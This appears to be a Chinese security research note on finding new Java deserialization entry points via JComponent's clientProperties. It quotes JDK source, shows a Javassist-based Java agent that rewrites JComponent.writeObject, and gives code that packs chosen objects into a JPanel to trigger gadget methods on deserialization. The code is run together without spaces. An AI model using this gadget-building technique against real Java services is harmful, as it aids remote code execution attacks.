基于动态Agent挖掘更多的反序列化入口

privatevoidreadObject(ObjectInputStream s)throws IOException, ClassNotFoundException{    s.defaultReadObject();/* If there's no ReadObjectCallback for this stream yet, that is, if         * this is the first call to JComponent.readObject() for this         * graph of objects, then create a callback and stash it         * in the readObjectCallbacks table.  Note that the ReadObjectCallback         * constructor takes care of calling s.registerValidation().         */ReadObjectCallbackcb= readObjectCallbacks.get(s);if (cb == null) {try {            readObjectCallbacks.put(s, cb = newReadObjectCallback(s));        }catch (Exception e) {thrownewIOException(e.toString());        }    }    cb.registerComponent(this);// Read back the client properties.    int cpCount = s.readInt();    if (cpCount > 0) {        clientProperties = new ArrayTable();        for (int counter = 0; counter < cpCount; counter++) {            clientProperties.put(s.readObject(),                                 s.readObject());        }    }    if (getToolTipText() != null) {        ToolTipManager.sharedInstance().registerComponent(this);    }    setWriteObjCounter(this, (byte)0);}

publicvoidput(Object key, Object value){if (table==null) {        table = newObject[] {key, value};    } else {        int size = size();if (size < ARRAY_BOUNDARY) {              // We are an array            if (containsKey(key)) {                Object[] tmp = (Object[])table;                for (int i = 0; i<tmp.length-1; i+=2) {                    if (tmp[i].equals(key)) {                        tmp[i+1]=value;                        break;                    }                }            } else {                Object[] array = (Object[])table;                int i = array.length;                Object[] tmp = new Object[i+2];                System.arraycopy(array, 0, tmp, 0, i);                tmp[i] = key;                tmp[i+1] = value;                table = tmp;            }        } else {                 // We are a hashtable            if ((size==ARRAY_BOUNDARY) && isArray()) {                grow();            }            ((Hashtable<Object,Object>)table).put(key, value);        }    }}

publicbooleancontainsKey(Object key) {boolean contains = false;if (table !=null) {if (isArray()) {Object[] array = (Object[])table;for (int i = 0; i<array.length-1; i+=2) {if (array[i].equals(key)) {                    contains = true;break;                }            }        } else {            contains = ((Hashtable)table).containsKey(key);        }    }return contains;}

privatevoidwriteObject(ObjectOutputStream s) throws IOException {    s.defaultWriteObject();if (getUIClassID().equals(uiClassID)) {byte count = JComponent.getWriteObjCounter(this);        JComponent.setWriteObjCounter(this, --count);if (count == 0 && ui != null) {            ui.installUI(this);        }    }    ArrayTable.writeArrayTable(s, clientProperties);}

staticvoidwriteArrayTable(ObjectOutputStream s, ArrayTable table)throws IOException {    Object keys[];if (table == null || (keys = table.getKeys(null)) == null) {        s.writeInt(0);    }else {intvalidCount=0;for (intcounter=0; counter < keys.length; counter++) {Objectkey= keys[counter];/* include in Serialization when both keys and values are Serializable */if (    (key instanceof Serializable                     && table.get(key) instanceof Serializable)                ||/* include these only so that we get the appropriate exception below */                (key instanceof ClientPropertyKey                 && ((ClientPropertyKey)key).getReportValueNotSerializable())) {                validCount++;            } else {                keys[counter] = null;            }        }// Write ou the Serializable key/value pairs.        s.writeInt(validCount);        if (validCount > 0) {            for (Object key : keys) {                if (key != null) {                    s.writeObject(key);                    s.writeObject(table.get(key));                    if (--validCount == 0) {                        break;                    }                }            }        }    }}

publicObjectget(Object key) {Object value = null;if (table !=null) {if (isArray()) {Object[] array = (Object[])table;for (int i = 0; i<array.length-1; i+=2) {if (array[i].equals(key)) {                    value = array[i+1];break;                }            }        } else {            value = ((Hashtable)table).get(key);        }    }return value;}

publicbyte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, finalbyte[] classfileBuffer) {if (className.equals("javax/swing/JComponent")) {try {ClassPoolclassPool= ClassPool.getDefault();CtClassjClazz= classPool.get("javax.swing.JComponent");CtMethodw= jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");StringmethodBody="{" +"$1.defaultWriteObject();" +"$1.writeInt(2);" +"try {" +"Class clz = $0.clientProperties.getClass();" +"java.lang.reflect.Field field = clz.getDeclaredField("table");" +"field.setAccessible(true);" +"Object[] table = (Object[]) field.get($0.clientProperties);" +"for (int i = 0; i < 4; i++) {" +"$1.writeObject(table[i]);" +"}" +"}" +"catch (Exception ex) {}" +"}";            w.setBody(methodBody);byte[] byteCode = jClazz.toBytecode();            jClazz.detach();return byteCode;        } catch (Exception ex) {            ex.printStackTrace();        }    }returnnull;}

JPanel j = newJPanel();Class atClass = Class.forName("javax.swing.ArrayTable");Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);Object[] table = newObject[]{o1, "1", o2, "2"};ReflectionUtil.setField(arrayTable, "table", table);ReflectionUtil.setField(j, "clientProperties", arrayTable);SerializeUtil.deserialize(SerializeUtil.serialize(j));